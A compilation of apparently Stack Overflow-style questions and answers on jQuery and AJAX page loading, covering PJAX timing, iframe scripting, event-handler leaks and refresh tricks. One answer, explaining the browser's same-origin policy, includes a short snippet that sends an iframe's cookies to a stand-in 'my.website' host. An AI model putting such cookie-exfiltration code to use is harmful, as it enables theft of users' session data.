An application of mine uses PJAX style navigation, which means that rather than loading the full page, we use AJAX to load a partial page and then use the HTML5 history/pushState API to update the browsing history.
Previously I was using the window.onload event to measure end user page loading times and I want to be able to record these times with the PJAX page loads, the problem is that this event does not fire after PJAX loads.
I have access to a pjax:end event which fires once the PJAX request is complete, but this is fired before all assets have finished downloading. I would like to be able to instrument the complete time it takes to download the page including the time to download extra (images/scripts) assets.
Is this possible? Is there a callback i'm missing or some magic that will allow me to measure the complete request time?
I realised that I only need to wait for images (not scripts).
A friend pointed me to this jQuery plugin: https://github.com/alexanderdickson/waitForImages
I'm using this code to trigger the onload event:
$('#main-inner').waitForImages(function() {
window.onload();
});
I don't think there is a specific event for a block of HTML loaded asyncronously. I think the best option is to attach your html, find each img and script, then bind to the load event (assuming jQuery) for each of them. When the number of loads equals the number of elements you found, then everything is loaded. I hope this helps.
var start = new Date().getTime(),
elems = $('#my-div').append(html).find('img, script'),
count = 0;
elems.on('load', function () {
if (++count === elems.length) {
var diff = new Date().getTime() - start;
}
});
Related
I've successfully created a snippet of code that takes a CSV array and through an IFRAME drop the text into Wikipedia's search bar and click the search button. Unfortunately, after loading, I'm unable to target the IFRAME's content any longer. I've also nested two load event handlers with the intent to wait for each page to complete loading.
I have the handlers set to unbind/off after firing and that seems to prevent "duplicate events" from firing. I've tried a couple of tactics to determine if the event handler is triggering at the right time along with changing the target ID but not certain what else to try at this point. I suspect the 2nd event handler is triggering while on the previous page since it already triggered ready but the "appends" seem to work as expected.
$("#debugwindow").append("pre<br>");
$("#iframeTarget").on("load", function() {
$("#iframeTarget").unbind();
$("#iframeTarget").off();
$("#iframeTarget").attr("id","iframeTarget2");
$("#debugwindow").append("start interior of 1<br>");
$("#iframeTarget2").on("load", function() {
$("#iframeTarget2").unbind();
$("#iframeTarget2").off();
$("#iframeTarget2").attr("id","iframeTarget3");
$("#debugwindow").append("start interior of 2<br>");
$("#iframeTarget3").contents().find("#searchInput").val("I don't work?"); // 3 fails?
$("#iframeTarget,#iframeTarget2,#iframeTarget3").html("even I don't do anything!"); // fails?
// $("#iframecont").html("I ruin everything!"); // targets iframe container as test
$("#debugwindow").append("end interior of 2<br>");
});
$(this).contents().find("#searchInput").val("3M"); // 1 successfully fills search
$(this).contents().find("#searchButton").trigger("click"); // 2 successfully triggers button, changes URL to 3M page
$("#debugwindow").append("end interior of 1<br>");
});
$("#debugwindow").append("post<br>");
Looking for any insights into properly setting up the 2 event handlers or if my logic is wrong. Ideally, I will be able to fill the search bar, trigger the search, and then manipulate the DOM on the next loaded page.
This is because of security concerns in the browser. You will not be able to execute any script in the javascript iframe, as it exposes extreme risk if you're able to execute javascript code inside a remote iframe.
For example:
<iframe src="http://website.to.hack"></iframe>
$(iframe).load(() => {
$.ajax({
url: 'http://my.website',
data: iframe.document.cookie
});
});
Now I have all your cookies for that site. Unless that frame has a specific trust between your site and it, you're not going to be able to script. (You'll likely need a chrome extension for that).
See this post and thread for more information.
I am designing a web application, and the app requires that I use AJAX to navigate pages, so the same frame is static, but the inner content changes, like
$(".nav > div").on('click',function(){
var id = $(this).attr('id');
$(".active").removeClass("active");
$(this).addClass("active");
$("#main").load("/page" + id + ".html");
});
which will load page1.html, following me clicking on the element with the id '1', for example.
I then use
$(document).ajaxComplete(function() {...javascript...});
to run the rest of my script which will be interacting with the inner content. My script contains numerous functions like
$('#fade').on('click', function() {
$('#zoom').removeClass('grow').addClass('shrink');
which interact with unqiue id's, all of which are similar in each of the '/page[number].html' files.
My script runs fine if I run it on an entirely static page, but as soon as I start introducing the AJAX element of reloading the html in the inner frame, the website gets slower and slower every time I make an AJAX call - by using the .nav bar - until a crash. The javascript heap size seems to increase almost exponentially, see:
http://imgur.com/0mvoOjA
Not only the js heap size is ever increasing, but it also seems 'paint' is taking up a lot of memory. Each page I am loading a new, fairly high res image, could this be related?
I am fairly new to AJAX calls so any pointers would be appreciated! Thanks
It's likely that you're creating event handlers with $().on on the other pages and you aren't explicitly removing them before you navigate to another page.
$(element).on(event, function() {
// ...
});
When you make an event listener like this jQuery maintains a reference to the function, meaning it can't be garbage collected. Every time you navigate to a new page, you create more event handlers that can't be automatically removed.
function eventHandler() {
// ...
}
// when the page is loaded
$(element).on(event, eventHandler);
// just before you leave
$(element).off(event, eventHandler);
Better still, when you know there only needs to be one interaction with the element before you'll navigate away, you can use one, to create an event listener that will be called only once before it is automatically dereferenced.
$(element).one(event, eventHandler);
// don't worry about removing these handlers
How you structure this code is best determined by your existing application architecture.
You need to unbind the events. If not, you are binding and binding events to your element instead of override it. You can do it with $('#yourElement').unbind('click');
I have a scenario to refresh the browser after the page is loaded for first time or one time.
Because the data is not showing properly when the pages is loaded,and when i refresh the browser it is showing.I don't know the reason.
Many Thanks
So you only want the browser to refresh once? Do something like this.
window.onload = function(){
if(!document.location.hash){
window.location = "#loaded";
}
}
or jquery
$(document).ready(function(){
if(document.location.hash){
window.location = "#loaded";
}
});
But in all honesty this is just a temporary solution. As much as you try to cover it up with quick fixes. I guarantee it will come back to haunt you. Well written and structured code will last a lifetime and can always be reused on future projects.
Invariably, you're going to have to use some JavaScript. What you want is for your refresh code to run when the page is completely loaded. You could use the HTML onload event, but there are problems with this (e.g. it will fire before any images are loaded). I would suggest using JQuery's ready() event, if you want to be sure it fires after the entire page is loaded.
Example:
// NOTE: This will only work with JQuery loaded.
$(document).ready(function(){
location.reload(true);
});
Making this only fire on the first page load is a bit more tricky. You could add an anchor suffix to the URL to keep track of whether you've refreshed the page yet or not, and then only refresh if it is not present in the URL:
$(document).ready(function(){
if(location.hash != "#")
{
// Set the URL to whatever it was plus "#".
// (The page will NOT automatically reload.)
location = "#";
// Reload the page.
location.reload(true);
}
});
Alternatively, you could use the query string, since this will automatically refresh the page when changed:
$(document).ready(function(){
var marker = 'r'; // 'r' is for "refreshed"
if(location.search != "?"+marker)
{
// Set the URL to whatever it was plus "?r".
// (This will automatically force a page reload.)
location = "?"+marker;
}
});
Caveat: With either of these samples, if your user bookmarks the page after the "#" or "?r" tag has been added to the URL, the page won't refresh when they revisit the page. If you want it to be bulletproof, you might have to use a cookie instead.
I have a page that automatically refreshes content via Ajax. I want this to be subtle so I do not want to display my loading gif during automatic page refreshed. So I did something like this with my getPosts function (unnecessary code cut out for succinctness)
function getPosts(image)
{
//loading icon while getPosts
if (image)
{
$("#postcontainer").bind("ajaxStart", function(){
$(this).html("<center><img src='ajax-loader.gif' /></center>");
});
} //... ajax call, etc. don't worry about syntax errors, they aren't in real code
I know the center tag is deprecated, just a shameless shortcut.
And then I will set the interval like setInterval(function() { getPosts(false); }, 10000);
Therefore my automated calls will not trigger the image to display
All my manual refreshes will then call it like this getPosts(true);
You can (probably) see the bug in action at my personal site
The problem is, the setInterval function seems to use the image bool from the latest function call. So it does not display the image at first during automated calls, but after I click a manual refresh, it starts showing the image during each call.
How can I combat this?
Thanks for anyone who views/posts this topic! I hope this question becomes a good reference to others.
The problem is that once you've bound your "ajaxStart" handler to the container it will execute on every ajax call for that container. That is, the first time you call it with getPosts(true) it will create the binding. The next time you call it with getPosts(false) it doesn't go down that if path but the binding still exists so when you do your ajax call the handler still executes - and the handler doesn't doesn't have any conditional logic. (Actually, I believe you'll end up with multiple bindings on the "ajaxStart" event, one created every time you call getPosts(true), but they're probably not noticable since they all just do the same thing overwriting the same html.)
Why not do something like this:
function getPosts(image) {
if (image) {
$("#postcontainer").html("<center><img src='ajax-loader.gif' /></center>");
}
// Actual ajax call here
}
setInterval(function() { getPosts(false); }, 10000);
Because after the first manual refresh you have attached a event handler "ajaxstart" which is to show the image when a ajax call starts. Now this event handler is there even in case you call the function with image = false. It will get triggered on all ajax calls.
What you need to do is something like:
$("#postcontainer").bind("ajaxStart", function(){
$(this).html("<center><img src='ajax-loader.gif' /></center>")
//Remove event handler
$(this).unbind("ajaxStart");
});
I have two pages namely Parent.xhtml(controls the layout) and Child.xhtml(displays the content). Child page is included in the Parent page by using <iframe> tag.
I need to implement an onload functionality by using javascript. Before that, I want to know in which order the javascript functions will execute?
Will the Parent page js function execute first? or Child page js function will execute first?
Awaiting your answers.! Thanks in advance
According to a previous answer, browsers might not wait for iframes to load before firing the onload event on the parent window. You can't make assumptions on which one will complete first - there's the possibility of a race condition going on there, so either one could finish first.
One solution might be to write a function that waits until it's been called a certain number of times before executing:
var runs = 0;
function onLoad() {
if (++runs < 2) return;
// put code to execute once both have loaded
}
Then in HTML:
<body onload="onLoad();">
.....
<iframe onload="onLoad();">
Alternatively, set the URL of the iframe in the onload handler of the parent window.